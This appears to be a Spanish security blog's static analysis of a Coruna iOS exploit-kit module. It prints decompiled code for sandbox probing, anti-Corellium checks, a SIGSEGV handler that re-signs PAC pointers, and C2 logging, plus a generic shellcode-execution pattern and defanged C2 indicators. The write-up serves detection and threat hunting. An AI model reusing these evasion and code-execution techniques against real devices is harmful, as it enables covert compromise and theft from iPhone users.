Ir al contenido principal

Destacados

TRIPAUL3: Anatomía de un RAT modular para Windows que oculta su configuración y seis plugins cifrados en el overlay  Resumen TRIPAUL3 es un RAT modular para Windows x64, escrito en C++ y compilado con MSVC, que se presenta a sí mismo como versión 3.0 ( "kind":"v3" ). A primera vista el binario parece un bot más: un núcleo pequeño que habla JSON por HTTP con su C2. La parte interesante está fuera de las secciones del PE: 1,5 MB de overlay con entropía 8,0 que contiene, cifrados con AES-256-GCM, la configuración completa y seis plugins DLL: keylogger, VNC, HVNC (escritorio oculto con navegador), stealer de credenciales y wallets, gestor de ficheros y shell/sysinfo. El diseño criptográfico es correcto en lo formal (AES-GCM, HMAC-SHA256 en modo encrypt-then-MAC para los plugins), pero tiene un fallo de base: la clave AES viaja en claro en la propia cabecera del overlay y es, además, la misma clave que protege los plugins. Esto permite extraer de forma estáti...

Desmontando Coruna: Análisis de un Módulo de Exploit iOS con Bypass de PAC


Resumen

Hace quince años, encontrar malware para iOS era una situación algo extraña. El ecosistema de Apple se percibía como prácticamente inexpugnable: sandbox estricto, revisión de cada aplicación en la App Store, código firmado y exploits escasos y costosos. Atacar un iPhone requería un nivel de sofisticación reservado a servicios de inteligencia estatales y a un puñado de exploit brokers de élite. El cibercrimen organizado simplemente no tenía incentivos económicos suficientes para invertir en esa plataforma.

Ese panorama se ha invertido por completo. Hoy los grupos criminales migran hacia iOS por una razón sencilla: es donde está el dinero. El iPhone concentra banca, carteras de criptomonedas y comunicaciones corporativas; el mercado de exploits ha madurado hasta convertirse en Exploit-as-a-Service; y muchos usuarios asumen, erróneamente, que su dispositivo es intrínsecamente seguro. Cadenas como Coruna y DarkSword, analizadas en este reporte, ya no son herramientas exclusivas de Estados nación: son productos comerciales que se alquilan, se actualizan y se comparten entre grupos criminales. La muestra que documentamos aquí, detectada por ESET y Kaspersky como trojan.coruna/iphoneos, es prueba de ello.

1. Introducción


En marzo de 2026, Google Threat Intelligence Group (GTIG) documentó Coruna, un exploit kit de iOS de nivel estado-nación que agrupaba 23 vulnerabilidades en cinco cadenas de explotación y cubría desde iOS 13.0 hasta iOS 17.2.1. DarkSword, documentado posteriormente, ataca iOS 18.4 a 18.7 con un modelo fileless (sin artefactos en disco).

Posteriormente, Tencent Cloud Security reveló que el framework Plasma opera sobre Coruna con un objetivo distinto al espionaje clásico: el robo masivo de criptomonedas y datos financieros, utilizando módulos con prefijo PL (ej. PLTextAnalyzer, PLNetConfig).

Este artículo documenta el análisis estático de uno de esos módulos: un binario ARM64 que actúa como orquestador de la cadena: valida el entorno, detecta herramientas de análisis y prepara la ejecución de las etapas siguientes. Su pieza más llamativa es un manejador de señal SIGSEGV en espacio de usuario que inspecciona y vuelve a firmar el contador de programa guardado del hilo cuando se produce un fallo. Este reporte separa explícitamente lo observado en la muestra de lo inferido, y no atribuye al módulo vulnerabilidades concretas sin evidencia directa.

2. Identificación de la Muestra


CampoValor
Nombre de archivoios-a078a8ff00923b1e9725f2c0_bufdump_20260929_111723.bin
TipoMach-O 64-bit ARM (iOS Dynamic Library)
ArquitecturaARM64 (cpusubtype 0, no ARM64e) / iOS
Versión mínima de iOS13.0 (LC_BUILD_VERSION)
UUID Mach-O41d39e20-04a3-35f4-ac13-f6b200260386
Tamaño118.27 KB (121,112 bytes): Mach-O de 89,328 bytes + 32,296 bytes de memoria adyacente
MD5de155c14985463939a02a7260d3e63fc
SHA-256c1e0dcedab24b0bdb3278a240b00d2ac4239f1aee4d0932cbc9325000dabe021
Estado en VirusTotal8 / 63 — trojan.coruna/iphoneos
Atribución de familiaCoruna (confirmado por ESET y Kaspersky)
Lenguaje fuenteObjective-C + C/C++
Dependenciaslibcompression.dylib, libobjc.A.dylib, UIKit, CoreFoundation, SystemConfiguration, CFNetwork, libSystem.B.dylib

2.1 Detecciones en VirusTotal y Atribución


Pese a que el binario utiliza técnicas avanzadas de evasión, la comunidad de seguridad ya ha catalogado esta muestra. Los motores que la detectan proporcionan una atribución directa a la familia Coruna, confirmando las hipótesis de esta investigación:
VendorDetecciónNivel de especificidad
ESET-NOD32iOS/Coruna.A TrojanEspecífica (Familia confirmada)
KasperskyHEUR:Trojan.IphoneOS.Coruna.aEspecífica (Familia confirmada)
AvastMacOS:Agent-BGB [Trj]Genérica
AVGMacOS:Agent-BGB [Trj]Genérica
Avira (no cloud)TR/OSX.Agent.BGBGenérica
CynetMalicious (score: 99)Machine Learning
ElasticMalicious (high Confidence)Machine Learning
WithSecureTrojan.TR/OSX.Agent.BGBGenérica
Acronis (Static ML)Undetected—
AhnLab-V3Undetected—
ALYacUndetected—
Popular threat label (VT): trojan.coruna.a
Threat categories: trojan
Family labels: coruna, iphoneos

VirusTotal: 




El archivo es un volcado de memoria que contiene un Mach-O completo y válido (cabecera 0xFEEDFACF, 21 comandos de carga) en sus primeros 89,328 bytes, seguido de 32,296 bytes de memoria adyacente. Ghidra puede cargar el Mach-O directamente. La región adyacente contiene la configuración de carga de la cadena: URLs del servidor de distribución, un User-Agent de Safari para iOS 15 y referencias a JSEvaluateScript (ver sección 6.2).

3. Metodología


Todo el análisis es estático, ejecutado en una VM de Windows aislada (Host-Only), sin acceso a red. Las herramientas utilizadas para este análisis han sido las siguientes:
  • Ghidra 12.1.2 con soporte AARCH64/AppleSilicon
  • HxD para inspección hexadecimal
  • VirusTotal para correlación con inteligencia externa
  • YARA 4.x, pySigma y Suricata 7.0.3 para validar las reglas de detección
Advertencia operativa: estos binarios no deben ejecutarse fuera de un dispositivo iOS con jailbreak dedicado y sin datos personales.

4. Flujo de Ejecución


El módulo se compone de tres funciones clave que se llaman en secuencia:
# Flujo de llamadas del módulo
_process()          →  Orquestador principal (valida y lanza el hilo)
   └─ FUN_00006c44()  →  Hilo de trabajo (instala handler SIGSEGV)
         └─ FUN_00006fec()  →  Handler SIGSEGV: re-firma PAC del PC guardado
Flujo completo:

  1. Validación de la versión de iOS (rango 13.0 – 17.2.x)
  2. Verificación del sandbox (SANDBOX_CHECK_NO_REPORT)
  3. Validación del User-Agent contra MobileStore/1.0
  4. Fingerprinting del dispositivo (hw.model, hw.l2cachesize)
  5. Detección de entornos de análisis (kern.bootargs, host_info, Corellium)
  6. Instalación del handler SIGSEGV
  7. Ejecución de la lógica de la siguiente etapa bajo la protección del handler (inferido)
  8. Salida silenciosa con _exit(0) según el modo configurado

5. Hallazgos

5.1 Fingerprinting del Dispositivo

La función FUN_00009b60 recopila la identidad del dispositivo antes de intentar cualquier acción ofensiva:
/* WARNING: Removing unreachable block (ram,0x00009cb0) */
/* WARNING: Type propagation algorithm not settling */

void FUN_00009b60(long param_1)

{
  uint uVar1;
  size_t local_48 [5];
  
  if (((param_1 != 0) && (uVar1 = *(uint *)(param_1 + 0xc0), uVar1 < 0x100700)) &&
     ((uVar1 < 0x100401) && ((0xf8f8 < uVar1 - 0xf0707 && ((uVar1 - 0xf0200 >> 9 < 0x7f)))))) {
    local_48[2] = 0;
    local_48[1] = 0;
    local_48[4] = 0;
    local_48[3] = 0;
    local_48[0] = 0x20;
    _sysctlbyname("hw.model",local_48 + 1,local_48,(void *)0x0,0);
  }
  return;
}
La llamada sysctlbyname("hw.model", ...) obtiene el modelo exacto del iPhone (ej. iPhone14,3). El binario también consulta kern.bootargs (argumentos de arranque, alterados en dispositivos con jailbreak o de investigación), hw.l2cachesize (tamaño de caché, útil para distinguir hardware real de virtualizado) y host_info con el flavor 11 (HOST_CAN_HAS_DEBUGGER), que indica si el dispositivo admite depuración. Lo relevante no es ninguna de estas consultas por separado, sino su combinación: una app legítima raramente invoca kern.bootargs, hw.l2cachesize y host_info en la misma función. Esa secuencia es propia de implantes de reconocimiento en cadenas de explotación móvil.


5.2 Evasión del Sandbox (SANDBOX_CHECK_NO_REPORT)

La función FUN_000089cc implementa el reconocimiento activo del sandbox. Antes de intentar cualquier operación sensible, el malware consulta al propio kernel si tiene permiso para abrir servicios de IOKit sin que se registre la violación. Se trata de una técnica silenciosa: en lugar de forzar el acceso y arriesgar una alerta, pregunta primero y actúa solo si la respuesta es favorable.
/* WARNING: Removing unreachable block (ram,0x00008ab0) */

void FUN_000089cc(long param_1,long param_2)

{
  uint uVar1;
  pid_t pVar2;
  int iVar3;
  ulong uVar4;
  char *pcVar5;
  undefined4 uVar6;
  bool bVar7;
  
  if (param_1 == 0) {
    return;
  }
  if (param_2 == 0) {
    return;
  }
  uVar4 = FUN_00009b60(param_1);
  if ((uVar4 & 1) == 0) {
    uVar1 = *(uint *)(param_1 + 0xc0);
    if ((uVar1 < 0x100501) && (0xf8f8 < uVar1 - 0xf0707)) {
      if (uVar1 < 0x100000) goto LAB_00008a5c;
      pVar2 = _getpid();
      uVar6 = *(undefined4 *)PTR__SANDBOX_CHECK_NO_REPORT_0000c000;
      pcVar5 = "iokit-open-service";
    }
    else {
      pVar2 = _getpid();
      pcVar5 = (char *)0x0;
      uVar6 = 0;
    }
    iVar3 = _sandbox_check(pVar2,pcVar5,uVar6);
    bVar7 = 0 < iVar3;
  }
  else {
LAB_00008a5c:
    bVar7 = false;
  }
  *(bool *)param_2 = bVar7;
  return;
}
SímboloSignificado
_SANDBOX_CHECK_NO_REPORTBandera que instruye al sandbox a no reportar la violación
"iokit-open-service"Operación que el malware quiere ejecutar
"IOSurfaceRoot"Servicio del kernel objetivo (históricamente vulnerable)
_sandbox_check()API privada de Apple usada para probar permisos antes del exploit

Relevancia defensiva: el uso de sandbox_check con SANDBOX_CHECK_NO_REPORT es inusual en aplicaciones de terceros distribuidas por la App Store, lo que lo convierte en un buen indicador estático para reglas YARA. iOS no expone esta llamada en registros accesibles a un SIEM, por lo que no sirve como indicador en tiempo de ejecución.


5.3 Validación del User-Agent C2

La función FUN_00008ab8 compara un campo de la estructura de configuración (+0xA0) con la cadena MobileStore/1.0 y guarda el resultado como un indicador en +0x5EC. Ese indicador decide más adelante (sección 5.5) si el hilo termina con _exit(0). Es decir, la cadena funciona como selector de modo de operación del módulo, además de ser el User-Agent que se envía al servidor.
/* WARNING: Removing unreachable block (ram,0x00008b54) */

void FUN_00008ab8(long param_1)

{
  bool bVar1;
  int iVar2;
  undefined1 local_21;
  
  if (param_1 != 0) {
    local_21 = 0;
    iVar2 = FUN_000089cc(param_1,&local_21);
    if (iVar2 == 0) {
      *(undefined1 *)(param_1 + 0x5e8) = local_21;
      if (*(char **)(param_1 + 0xa0) == (char *)0x0) {
        bVar1 = false;
      }
      else {
        iVar2 = _strncasecmp("MobileStore/1.0",*(char **)(param_1 + 0xa0),0xf);
        bVar1 = iVar2 == 0;
      }
      *(bool *)(param_1 + 0x5ec) = bVar1;
    }
  }
  return;
}
Análisis:
  • MobileStore/1.0 no es el User-Agent del App Store real (el legítimo es com.apple.AppStore/...).
  • No hay evidencia en la muestra de que el servidor filtre peticiones por User-Agent; esa verificación requeriría observar el tráfico real.


5.4 Orquestador Principal: _process

La función _process es el director de orquesta del módulo. No ejecuta el exploit directamente, sino que valida que todas las condiciones previas se cumplan antes de lanzar el hilo que contiene la lógica ofensiva. Su diseño refleja una estrategia defensiva del atacante: si cualquiera de las validaciones falla, aborta en silencio. Entre esas validaciones, el campo de versión +0xC0 se compara con límites como 0xE0000, 0xF0000, 0x100400 y 0x1102FF; interpretados como versión de iOS en formato 0xMMmmpp, el módulo solo continúa en iOS 13.0 a 17.2.x, coherente con el rango documentado para Coruna.
/* WARNING: Removing unreachable block (ram,0x000069ec) */

void _process(void *param_1)

{
  int iVar1;
  int iVar2;
  mach_port_t host;
  kern_return_t kVar3;
  void *pvVar4;
  char *pcVar5;
  undefined8 *puVar6;
  undefined8 uVar7;
  void **ppvVar8;
  undefined8 *puVar9;
  undefined8 uVar10;
  undefined8 uVar11;
  pthread_attr_t local_438 [16];
  pthread_t local_38;
  
  if (param_1 == (void *)0x0) {
    return;
  }
  iVar1 = FUN_000096f8();
  if (iVar1 != 0) {
    return;
  }
  iVar1 = FUN_00008210(param_1);
  if (iVar1 != 0) {
    return;
  }
  iVar1 = FUN_00007720(param_1);
  if (iVar1 != 0) {
    return;
  }
  iVar1 = FUN_00008ab8(param_1);
  if (iVar1 != 0) {
    return;
  }
  if (0xf090efe400003 < *(long *)((long)param_1 + 0xd0) + 0xffe7f6fff9900000U) {
    return;
  }
  if (*(char *)((long)param_1 + 0x5e8) != '\0') {
    if (*(uint *)((long)param_1 + 0xc0) < 0x100000) {
      return;
    }
    if (0x100400 < *(uint *)((long)param_1 + 0xc0)) {
      iVar1 = *(int *)((long)param_1 + 0xe0);
      if (iVar1 < 0x1b588bb3) {
        if (iVar1 != -0x789a1216) {
          iVar2 = -0x25cc27c3;
LAB_00006a0c:
          if (iVar1 != iVar2) {
            return;
          }
        }
      }
      else if (iVar1 != 0x462504d2) {
        iVar2 = 0x1b588bb3;
        goto LAB_00006a0c;
      }
    }
  }
  local_438[0].__sig = CONCAT71(local_438[0].__sig._1_7_,1);
  iVar2 = FUN_000071fc(local_438);
  iVar1 = 0xad024;
  if ((char)local_438[0].__sig != '\0') {
    iVar1 = 0;
  }
  if (iVar2 != 0) {
    iVar1 = 0xad00b;
  }
  if (iVar1 != 0) {
    return;
  }
  if (0x1102ff < *(uint *)((long)param_1 + 0xc0)) {
    return;
  }
  if (*(uint *)((long)param_1 + 0xc0) < 0xe0000) {
LAB_00006ab0:
    local_38 = (pthread_t)&section_000003d0.offset;
    _bzero(local_438,0x400);
    iVar1 = _sysctlbyname("kern.bootargs",local_438,(size_t *)&local_38,(void *)0x0,0);
    if ((iVar1 == 0) && ((char)local_438[0].__sig != '\0')) {
      if ((char)local_438[0].__sig != ' ') {
        return;
      }
      if (local_438[0].__sig._1_1_ != '\0') {
        return;
      }
    }
    if (0xf0000 < *(uint *)((long)param_1 + 0xc0)) goto LAB_00006b40;
    local_438[0].__sig = CONCAT44(local_438[0].__sig._4_4_,1);
    host = _mach_host_self();
    kVar3 = _host_info(host,0xb,(host_info_t)&local_38,(mach_msg_type_number_t *)local_438);
    iVar1 = 0;
    if ((int)local_38 != 0) {
      iVar1 = 0xad024;
    }
    if (kVar3 != 0) goto LAB_00006b40;
  }
  else {
    local_438[0].__sig = 8;
    local_38 = (pthread_t)0x0;
    iVar2 = _sysctlbyname("hw.l2cachesize",&local_38,(size_t *)local_438,(void *)0x0,0);
    iVar1 = 0;
    if ((ulong)local_38 >> 0x14 == 0) {
      iVar1 = 0xad024;
    }
    if ((iVar2 != 0) || ((pthread_t)0xfffff < local_38)) goto LAB_00006ab0;
  }
  if (iVar1 != 0) {
    return;
  }
LAB_00006b40:
  iVar1 = FUN_00008298(param_1);
  if ((iVar1 == 0) && (pvVar4 = _malloc(0x648), pvVar4 != (void *)0x0)) {
    _memcpy(pvVar4,param_1,0x648);
    if (*(char **)((long)pvVar4 + 0x80) != (char *)0x0) {
      pcVar5 = _strdup(*(char **)((long)pvVar4 + 0x80));
      if (pcVar5 == (char *)0x0) {
        return;
      }
      *(char **)((long)pvVar4 + 0x80) = pcVar5;
    }
    puVar9 = *(undefined8 **)((long)pvVar4 + 0x98);
    if (puVar9 != (undefined8 *)0x0) {
      puVar6 = _malloc(0x20);
      if (puVar6 == (undefined8 *)0x0) {
        return;
      }
      uVar7 = *puVar9;
      uVar11 = puVar9[3];
      uVar10 = puVar9[2];
      puVar6[1] = puVar9[1];
      *puVar6 = uVar7;
      puVar6[3] = uVar11;
      puVar6[2] = uVar10;
      *(undefined8 **)((long)pvVar4 + 0x98) = puVar6;
    }
    if (*(char **)((long)pvVar4 + 0x78) != (char *)0x0) {
      pcVar5 = _strdup(*(char **)((long)pvVar4 + 0x78));
      if (pcVar5 == (char *)0x0) {
        return;
      }
      *(char **)((long)pvVar4 + 0x78) = pcVar5;
    }
    if (*(char **)((long)pvVar4 + 0xa0) != (char *)0x0) {
      pcVar5 = _strdup(*(char **)((long)pvVar4 + 0xa0));
      if (pcVar5 == (char *)0x0) {
        return;
      }
      *(char **)((long)pvVar4 + 0xa0) = pcVar5;
    }
    if (*(char **)((long)pvVar4 + 0xa8) != (char *)0x0) {
      pcVar5 = _strdup(*(char **)((long)pvVar4 + 0xa8));
      if (pcVar5 == (char *)0x0) {
        return;
      }
      *(char **)((long)pvVar4 + 0xa8) = pcVar5;
    }
    iVar1 = _pthread_attr_init(local_438);
    if (iVar1 == 0) {
      iVar1 = _pthread_attr_setdetachstate(local_438,2);
      if (iVar1 == 0) {
        uVar7 = FUN_00005d2c(FUN_00006c44);
        ppvVar8 = (void **)FUN_0000b15c(uVar7,0);
        _pthread_create(&local_38,local_438,ppvVar8,pvVar4);
      }
      _pthread_attr_destroy(local_438);
    }
  }
  return;
}




5.5 Instalación del Handler SIGSEGV

La función FUN_00006c44 se ejecuta en un hilo separado. Primero instala un manejador de señal para SIGSEGV y después solicita a UIApplication una tarea en segundo plano que mantiene el proceso vivo mientras se ejecuta la lógica del módulo. Al terminar restaura el manejador original y, si el indicador de modo de la sección 5.3 está activo, finaliza el proceso con _exit(0).
/* WARNING: Removing unreachable block (ram,0x00006eac) */

void FUN_00006c44(long param_1)

{
  bool bVar1;
  undefined *puVar2;
  int iVar3;
  long lVar4;
  undefined *puVar5;
  undefined8 uVar6;
  _func_333 *p_Var7;
  undefined8 extraout_x1;
  undefined8 *puVar8;
  size_t sVar9;
  _func_333 *p_Var10;
  undefined1 auVar11 [16];
  undefined1 auVar12 [16];
  undefined *local_b8;
  undefined8 local_b0;
  code *local_a8;
  undefined *local_a0;
  long local_98;
  __sigaction_u *p_Stack_90;
  __sigaction_u local_88;
  __sigaction_u *local_80;
  undefined8 local_78;
  _func_333 *local_70;
  sigaction sStack_68;
  undefined4 local_54;
  
  local_54 = 0xad000;
  if ((*(ushort *)(param_1 + 0xc2) < 0xf) && (iVar3 = FUN_00005cec(), iVar3 != 0)) {
    local_88.__sa_handler = (_func_333 *)FUN_00005d68(FUN_00006fec,0);
    local_80 = (__sigaction_u *)0x4000000000;
    iVar3 = _sigaction(0xb,(sigaction *)&local_88,&sStack_68);
    if (iVar3 != 0) {
      ___error();
      return;
    }
    bVar1 = true;
  }
  else {
    bVar1 = false;
  }
  local_88.__sa_handler = (_func_333 *)0x0;
  local_78 = 0x2020000000;
  p_Var10 = *(_func_333 **)PTR__UIBackgroundTaskInvalid_0000c008;
  local_80 = &local_88;
  local_70 = p_Var10;
  lVar4 = _objc_alloc(&_OBJC_CLASS_$_UIApplication);
  if (lVar4 != 0) {
    local_b8 = PTR___NSConcreteStackBlock_0000c010;
    local_b0 = 0xc2000000;
    local_a8 = FUN_00006ec4;
    local_a0 = &DAT_0000c090;
    local_98 = lVar4;
    p_Stack_90 = &local_88;
    iVar3 = FUN_00005cec();
    auVar11._8_8_ = extraout_x1;
    auVar11._0_8_ = local_a8;
    if (iVar3 != 0) {
      local_b8 = (undefined *)
                 FUN_0000b1d4(PTR___NSConcreteStackBlock_0000c010,
                              (ulong)&local_b8 | 0x6ae1000000000000);
      auVar11 = FUN_0000b15c(local_a8,&local_a8);
      puVar2 = local_a0;
      local_a8 = auVar11._0_8_;
      if (local_a0 != (undefined *)0x0) {
        sVar9 = *(size_t *)(local_a0 + 8);
        puVar5 = _malloc(sVar9);
        if (puVar5 == (undefined *)0x0) goto LAB_00006e64;
        _memcpy(puVar5,puVar2,sVar9);
        puVar8 = (undefined8 *)(puVar5 + 0x10);
        uVar6 = FUN_0000b15c(*puVar8,puVar8);
        *puVar8 = uVar6;
        puVar8 = (undefined8 *)(puVar5 + 0x18);
        auVar12 = FUN_0000b15c(*puVar8,puVar8);
        auVar11._8_8_ = auVar12._8_8_;
        auVar11._0_8_ = local_a8;
        *puVar8 = auVar12._0_8_;
        local_a0 = puVar5;
      }
    }
    local_a8 = auVar11._0_8_;
    p_Var7 = (_func_333 *)FUN_0000bb20(lVar4,auVar11._8_8_,&local_b8);
    local_80[3].__sa_handler = p_Var7;
    if (*(long *)(param_1 + 0x80) != 0) {
      FUN_00005fec(param_1);
      p_Var7 = local_80[3].__sa_handler;
    }
    if (p_Var7 != p_Var10) {
      FUN_0000bb40(lVar4);
      local_80[3].__sa_handler = p_Var10;
    }
    if ((bVar1) && (iVar3 = _sigaction(0xb,&sStack_68,(sigaction *)0x0), iVar3 != 0)) {
      ___error();
    }
    else if (*(char *)(param_1 + 0x5ec) != '\0') {
                    /* WARNING: Subroutine does not return */
      _exit(0);
    }
  }
LAB_00006e64:
  __Block_object_dispose(&local_88,8);
  return;
}



5.6 El Núcleo: Handler SIGSEGV con Re-firma de PAC

La función FUN_00006fec es el manejador de SIGSEGV instalado en la sección 5.5. Opera en espacio de usuario, sobre el contexto guardado del hilo que recibe la señal: no hay en la muestra evidencia de una primitiva de kernel. Todo lo anterior (fingerprinting, comprobación del sandbox, selección de modo) son pasos preparatorios para que este manejador pueda actuar.
/* WARNING: Removing unreachable block (ram,0x00007088) */

void FUN_00006fec(undefined8 param_1,undefined8 param_2,long param_3)

{
  ulong uVar1;
  ulong uVar2;
  ulong *puVar3;
  
  puVar3 = *(ulong **)(param_3 + 0x30);
  uVar1 = puVar3[0x22];
  if (uVar1 >> 0x27 == 0x4000) {
    uVar1 = uVar1 & 0xffdfffffffffffff;
  }
  else {
    uVar2 = *puVar3;
    if ((uVar2 & 0xffffff8000000000) == 0x2000000000000000) {
      if ((uVar2 & 0x7fffffffff) != (uVar1 & 0x7fffffffff)) goto LAB_00007040;
    }
    else if ((uVar2 & 0xffffff8000000000) != 0x20000000000000 ||
             (uVar2 & 0x7fffffffff) != (uVar1 & 0x7fffffffff)) {
LAB_00007040:
                    /* WARNING: Subroutine does not return */
      _abort();
    }
    uVar1 = FUN_00005d68(uVar2 & 0x7fffffffff,0x7481);
  }
  puVar3[0x22] = uVar1;
  return;
}

Explicación técnica

PAC (Pointer Authentication Code) es la protección de Apple en ARM64e. Cada puntero de función lleva una firma criptográfica en los bits altos (47–63). Si un atacante modifica el puntero, la firma no coincide y el procesador lanza una excepción.

El handler hace:

  1. Recibe el SIGSEGV y accede al contexto guardado del hilo (param_3 + 0x30).
  2. Extrae la firma PAC con la máscara 0xffffff8000000000.
  3. Verifica que coincida con 0x2000000000000000.
  4. Extrae la dirección real con la máscara 0x7fffffffff.
  5. Re-firma el puntero llamando a FUN_00005d68(addr, 0x7481).
  6. Escribe el valor re-firmado en el contador de programa guardado; al volver de la señal, la ejecución continúa en esa dirección.
  7. Si los valores no coinciden con lo esperado, llama a _abort().
Sobre CVE-2026-20700: este CVE se asocia al bypass de PAC en dyld de DarkSword (iOS 18.4–18.7). Este módulo valida un rango de iOS 13.0 a 17.2.x, por lo que no lo vinculamos con ese CVE. El manejador es una técnica de manipulación de punteros autenticados en espacio de usuario, sin un CVE identificado a partir de la muestra.



5.7 Comunicación con el C2

La función FUN_000094b4 implementa el canal de comunicación con el servidor de mando y control. Su diseño prioriza dos objetivos: minimizar el tamaño de cada mensaje mediante un JSON con claves de una sola letra, y eliminar cualquier rastro en memoria una vez enviado el paquete.
/* WARNING: Removing unreachable block (ram,0x00009578) */

void FUN_000094b4(undefined8 param_1,long param_2,undefined8 param_3,undefined8 param_4,
                 undefined8 param_5)

{
  int iVar1;
  char *pcVar2;
  uint local_3c;
  void *local_38;
  
  local_38 = (void *)0x0;
  local_3c = 0;
  if (param_2 == 0) {
    pcVar2 = "{\\\"e\\\":%u,\\\"l\\\":%u}";
  }
  else {
    pcVar2 = "{\\\"e\\\":%u,\\\"f\\\":\\\"%s\\\",\\\"l\\\":%u}";
  }
  iVar1 = FUN_00009a34(&local_38,&local_3c,pcVar2);
  if (iVar1 == 0) {
    FUN_00009a34(param_4,param_5,"{\"cmd\":\"logmsg\",\"args\":{\"msg\":\"%s\"}}");
    _bzero(local_38,(ulong)local_3c);
    _free(local_38);
  }
  return;
}
Análisis del protocolo:
  • Claves de una sola letra (e, f, l) para minimizar el tamaño del paquete.
  • El comando logmsg envía eventos y códigos de error al servidor (ver 0xAD0xx en la sección 6.4).
  • _bzero antes de _free — técnica anti-forense.

5.8 Anti-Análisis: Detección de Corellium

El binario verifica activamente si está corriendo dentro de un entorno virtualizado Corellium, la plataforma de investigación de iOS más utilizada por analistas de seguridad.



Las comprobaciones son:
  • Existencia de /usr/libexec/corelliumd — demonio específico de Corellium
  • Lectura de IOPlatformSerialNumber desde IORegistry (los dispositivos virtualizados exponen números de serie no estándar)
Implicación defensiva: esta técnica hace que el malware se desactive silenciosamente cuando corre en Corellium, arruinando el análisis dinámico. Los analistas que usan Corellium deben parchear el binario o usar hardwares físicos para observar el comportamiento real.

Implicación para threat hunting: la ruta /usr/libexec/corelliumd aparece en texto plano y es un indicador útil para buscar en otros binarios iOS.

5.9 Criptografía (ChaCha20) y Ejecución Dinámica

El binario contiene dos capacidades adicionales que complementan el análisis anterior:

ChaCha20 Stream Cipher

El binario incluye una implementación de ChaCha20 (identificable por la constante expand 32-byte k). Esta es una elección coherente con la estrategia del malware:
  • ChaCha20 es más eficiente que AES en software (sin aceleración por hardware)
  • Es un cifrado de flujo, ideal para cifrar payloads en tránsito desde el C2
  • La muestra importa además compression_decode_buffer, lo que sugiere que las etapas siguientes llegan cifradas y comprimidas (inferido)

Cache Flushing para Shellcode Dinámico

El binario importa sys_icache_invalidate y sys_dcache_flush, junto con mmap, vm_allocate y vm_protect. Estas funciones se usan para escribir código en memoria y volverlo ejecutable, por lo que su presencia indica que el módulo prepara código dinámico. El siguiente bloque es una ilustración genérica de ese patrón, no código extraído de la muestra:
# Ilustración genérica (no extraída de la muestra)
1. mmap(...) con PROT_READ | PROT_WRITE     # Asigna página RW
2. memcpy(page, payload, size)              # Copia el shellcode descifrado
3. _sys_icache_invalidate(page, size)       # Invalida I-cache
4. _sys_dcache_flush(page, size)            # Flush D-cache
5. vm_protect(task, page, size, 0, VM_PROT_READ | VM_PROT_EXECUTE)  # Cambia a RX
6. ((void(*)())page)()                      # Ejecuta shellcode
Nuestra interpretación, no verificada sin análisis dinámico, es que el módulo recibe la siguiente etapa cifrada con ChaCha20 y comprimida, la descifra en memoria, invalida los cachés y la ejecuta bajo la protección del manejador de la sección 5.6.

IoCs adicionales:
Símbolo / ConstantePropósito
expand 32-byte kConstante de inicialización de ChaCha20
compression_decode_bufferDescompresión de datos (probable etapa siguiente)
_sys_icache_invalidateInvalida el caché de instrucciones (JIT/shellcode)
_sys_dcache_flushFlush del caché de datos
/usr/libexec/corelliumdDetección de entorno Corellium
IOPlatformSerialNumberVerificación de hardware (Corellium usa seriales falsos)

6. Indicadores de Compromiso (IoCs)


Los IoCs se han extraído mediante análisis estático del binario y de la memoria adyacente incluida en el volcado. No requieren ejecución de la muestra. Los dominios se muestran desactivados ([.]) para evitar clics accidentales.

6.1 Hashes y Huellas Binarias

TipoValor
SHA-256 (muestra)c1e0dcedab24b0bdb3278a240b00d2ac4239f1aee4d0932cbc9325000dabe021
Nombre internoios-a078a8ff00923b1e9725f2c0_bufdump_20260929_111723.bin
MD5de155c14985463939a02a7260d3e63fc
UUID Mach-O41d39e20-04a3-35f4-ac13-f6b200260386
FormatoMach-O 64-bit ARM (iOS Dynamic Library) + memoria adyacente
ArquitecturaARM64 (cpusubtype 0) / iOS 13.0+
Tamaño118.27 KB (121,112 bytes)
Detecciones VT8 / 63 — trojan.coruna.a

6.2 Network Indicators

Infraestructura observada en la configuración de carga (memoria adyacente al Mach-O):
TipoValorContexto
Dominioc2[.]token[.]info[.]plServidor de distribución / C2
URLhxxps://c2[.]token[.]info[.]pl/group[.]htmlPágina de entrega (mismo patrón group.html documentado por GTIG para Coruna)
URLhxxps://c2[.]token[.]info[.]pl/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb[.]min[.]jsEtapa siguiente servida como .min.js
User-AgentMozilla/5.0 (iPhone; CPU iPhone OS 15_8_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Mobile/15E148 Safari/604.1Safari de iOS 15 usado en la descarga
No hemos encontrado este dominio en reportes públicos a la fecha de publicación. No se recomienda visitarlo directamente.

User-Agent del módulo: MobileStore/1.0
Headers HTTP característicos:
User-Agent: MobileStore/1.0
Content-Type: application/json
Estructuras de paquetes C2 (JSON):
{"cmd":"logmsg","args":{"msg":"%s"}}
{\"e\":%u,\"l\":%u}
{\"e\":%u,\"f\":\"%s\",\"l\":%u}
Interpretación: e = event/error code, f = file/function, l = line number.

6.3 Host-Based Indicators

SímboloRiesgo
_SANDBOX_CHECK_NO_REPORTInusual en apps de terceros de la App Store
_sandbox_checkAPI privada de reconocimiento del sandbox
_host_info(HOST_CAN_HAS_DEBUGGER)Comprueba si el dispositivo admite depuración
_vm_allocate / _vm_protect / _mmapReserva y cambio de permisos de memoria
_sys_icache_invalidateFlush de I-cache (preparación de shellcode)
_sys_dcache_flushFlush de D-cache (preparación de shellcode)
Rutas y servicios referenciados en la muestra:
/usr/libexec/corelliumd
/System/Library/CoreServices/SystemVersion.plist
/System/Cryptexes/OS/System/Library/CoreServices/SystemVersion.plist
/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
IODeviceTree:/
IOSurfaceRoot

6.4 Magic Values (Constantes Únicas del Binario)

Los cuatro primeros valores se comparan en _process contra el campo +0xE0 de la configuración; su significado no se ha podido determinar con análisis estático.
Valor (hex)Contexto
0x8765EDEAValor aceptado para el campo +0xE0 (significado no determinado)
0xDA33D83DValor aceptado para el campo +0xE0 (significado no determinado)
0x1B588BB3Valor aceptado para el campo +0xE0 (significado no determinado)
0x462504D2Valor aceptado para el campo +0xE0 (significado no determinado)
0xE0000 · 0xF0000 · 0x100400 · 0x1102FFLímites de versión de iOS (14.0 · 15.0 · 16.4 · 17.2.x)
0x2000000000000000Firma PAC esperada
0xFFFFFF8000000000Máscara de firma PAC
0x7FFFFFFFFFMáscara de dirección real
